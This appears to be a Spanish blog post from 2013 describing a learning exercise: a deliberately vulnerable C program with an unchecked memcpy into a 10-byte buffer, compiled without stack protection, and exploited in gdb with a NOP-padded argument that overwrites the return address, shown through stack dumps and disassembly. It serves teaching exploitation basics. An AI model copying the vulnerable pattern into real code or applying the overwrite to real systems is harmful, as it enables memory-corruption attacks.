9
May
2013

Mi primer buffer overflow controlado!

Paso 1: Crear un programa de pruebas en C, con una vulnerabilidad de buffer overflow intencional.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int function(char* par);
 
int main(int argc, char* argv[]){
	int return_value = function(argv[1]);
	return 0;
}
 
int function(char* par){
	char localbuff[10];
	memcpy(localbuff, par, strlen(par));
	return 1;
}

Paso 2: Compilarlo eliminando expresamente la protección contra el smash del stack.

gcc -fno-stack-protector -g -o attacking_the_stack.o attacking_the_stack.c

Paso 3: Tirarlo a correr en el gdb.

gdb attacking_the_stack.o

Paso 4: Setear los parámetros del ejecutable (veneno).

(gdb) set args "$(echo -e '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x18\x84\x04\x08')"

Se puede ver allí cuál va a ser la nueva “return address” de la llamada a la función: 0x08048418 (están al revés por el little-endian con que son guardados los valores en la memoria volátil). Pisaremos la return address original del stack con esta nueva.

Paso 5: Seteamos el breakpoint y a correr.

(gdb) break 8
(gdb) run

Starting program: /root/c/exploiting/attacking_the_stack.o "$(echo -e '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x18\x84\x04\x08')"

Breakpoint 1, main (argc=2, argv=0xbffff404) at attacking_the_stack.c:9
9		int return_value = function(argv[1]);
(gdb) stepi
0x08048400	9		int return_value = function(argv[1]);
(gdb) stepi
0x08048403	9		int return_value = function(argv[1]);
(gdb) stepi
0x08048405	9		int return_value = function(argv[1]);
(gdb) stepi
0x08048408	9		int return_value = function(argv[1]);

Hasta aquí, hemos ejecutado el main y hemos hecho la call a la función “function”.

Paso 6: analizamos el stack de la función “function” antes de corromperlo

(gdb) stepi
function (par=0xbffff59e "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\030\204\004\b")
    at attacking_the_stack.c:14
14	int function(char* par){
(gdb) step
18		memcpy(localbuff, par, strlen(par));
(gdb) x/30x $esp
0xbffff300:	0x00237e79	0x0015e785	0xbffff318	0x00145ae5
0xbffff310:	0x00000000	0x08049ff4	0xbffff328	0x080482e0
0xbffff320:	0x0011eb60	0x08049ff4	0xbffff358	0x0804840d
0xbffff330:	0xbffff59e	0x00287ff4	0x08048460	0xbffff358
0xbffff340:	0x0015e985	0x0011eb60	0x0804846b	0x00287ff4
0xbffff350:	0x08048460	0x00000000	0xbffff3d8	0x00145ce7
0xbffff360:	0x00000002	0xbffff404	0xbffff410	0xb7fff928
0xbffff370:	0xbffff4b8	0xffffffff

Lo que marqué con negrita es la return address original. Para arriba de eso (en el stack) están las variables locales (la que vamos a desbordar justamente).

Paso 7: ejecutamos hasta el desborde

(gdb) step
0x001a3700 in strlen () from /lib/libc.so.6
(gdb) step
Single stepping until exit from function strlen,
which has no line number information.
0x001a4f10 in memcpy () from /lib/libc.so.6
(gdb) step
Single stepping until exit from function memcpy,
which has no line number information.
function (par=0xbffff59e "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\030\204\004\b")
    at attacking_the_stack.c:20
20		return 1;

Paso 8: analizamos el stack después del desborde

(gdb) x/30x $esp
0xbffff300:	0xbffff316	0xbffff59e	0x0000001a	0x00145ae5
0xbffff310:	0x00000000	0x90909ff4	0x90909090	0x90909090
0xbffff320:	0x90909090	0x90909090	0x90909090	0x08048418
0xbffff330:	0xbffff59e	0x00287ff4	0x08048460	0xbffff358
0xbffff340:	0x0015e985	0x0011eb60	0x0804846b	0x00287ff4
0xbffff350:	0x08048460	0x00000000	0xbffff3d8	0x00145ce7
0xbffff360:	0x00000002	0xbffff404	0xbffff410	0xb7fff928
0xbffff370:	0xbffff4b8	0xffffffff

Se puede ver en negrita como se reemplazó la return address original por la nueva. Hacia arriba en el stack se pueden ver los restos de la variable local desbordada, rellenada con bytes 0x90.

Paso 9: los siguientes tres bloques van a mostrar como se mueve el instruction pointer (EIP) con estos cambios

(gdb) disass function
Dump of assembler code for function function:
   0x08048418 <+0>:	push   %ebp
   0x08048419 <+1>:	mov    %esp,%ebp
   0x0804841b <+3>:	sub    $0x28,%esp
   0x0804841e <+6>:	mov    0x8(%ebp),%eax
   0x08048421 <+9>:	mov    %eax,(%esp)
   0x08048424 <+12>:	call   0x8048324 
   0x08048429 <+17>:	mov    %eax,0x8(%esp)
   0x0804842d <+21>:	mov    0x8(%ebp),%eax
   0x08048430 <+24>:	mov    %eax,0x4(%esp)
   0x08048434 <+28>:	lea    -0x12(%ebp),%eax
   0x08048437 <+31>:	mov    %eax,(%esp)
   0x0804843a <+34>:	call   0x8048314 
=> 0x0804843f <+39>:	mov    $0x1,%eax
   0x08048444 <+44>:	leave
   0x08048445 <+45>:	ret
End of assembler dump.
(gdb) step
22	}
(gdb) disass function
Dump of assembler code for function function:
   0x08048418 <+0>:	push   %ebp
   0x08048419 <+1>:	mov    %esp,%ebp
   0x0804841b <+3>:	sub    $0x28,%esp
   0x0804841e <+6>:	mov    0x8(%ebp),%eax
   0x08048421 <+9>:	mov    %eax,(%esp)
   0x08048424 <+12>:	call   0x8048324 
   0x08048429 <+17>:	mov    %eax,0x8(%esp)
   0x0804842d <+21>:	mov    0x8(%ebp),%eax
   0x08048430 <+24>:	mov    %eax,0x4(%esp)
   0x08048434 <+28>:	lea    -0x12(%ebp),%eax
   0x08048437 <+31>:	mov    %eax,(%esp)
   0x0804843a <+34>:	call   0x8048314 
   0x0804843f <+39>:	mov    $0x1,%eax
=> 0x08048444 <+44>:	leave  
   0x08048445 <+45>:	ret
End of assembler dump.
(gdb) step
function (par=0x287ff4 "|\215\025") at attacking_the_stack.c:14
14	int function(char* par){
(gdb) disass function
Dump of assembler code for function function:
=> 0x08048418 <+0>:	push   %ebp
   0x08048419 <+1>:	mov    %esp,%ebp
   0x0804841b <+3>:	sub    $0x28,%esp
   0x0804841e <+6>:	mov    0x8(%ebp),%eax
   0x08048421 <+9>:	mov    %eax,(%esp)
   0x08048424 <+12>:	call   0x8048324 
   0x08048429 <+17>:	mov    %eax,0x8(%esp)
   0x0804842d <+21>:	mov    0x8(%ebp),%eax
   0x08048430 <+24>:	mov    %eax,0x4(%esp)
   0x08048434 <+28>:	lea    -0x12(%ebp),%eax
   0x08048437 <+31>:	mov    %eax,(%esp)
   0x0804843a <+34>:	call   0x8048314 
   0x0804843f <+39>:	mov    $0x1,%eax
   0x08048444 <+44>:	leave
   0x08048445 <+45>:	ret
End of assembler dump.
Escribir un comentario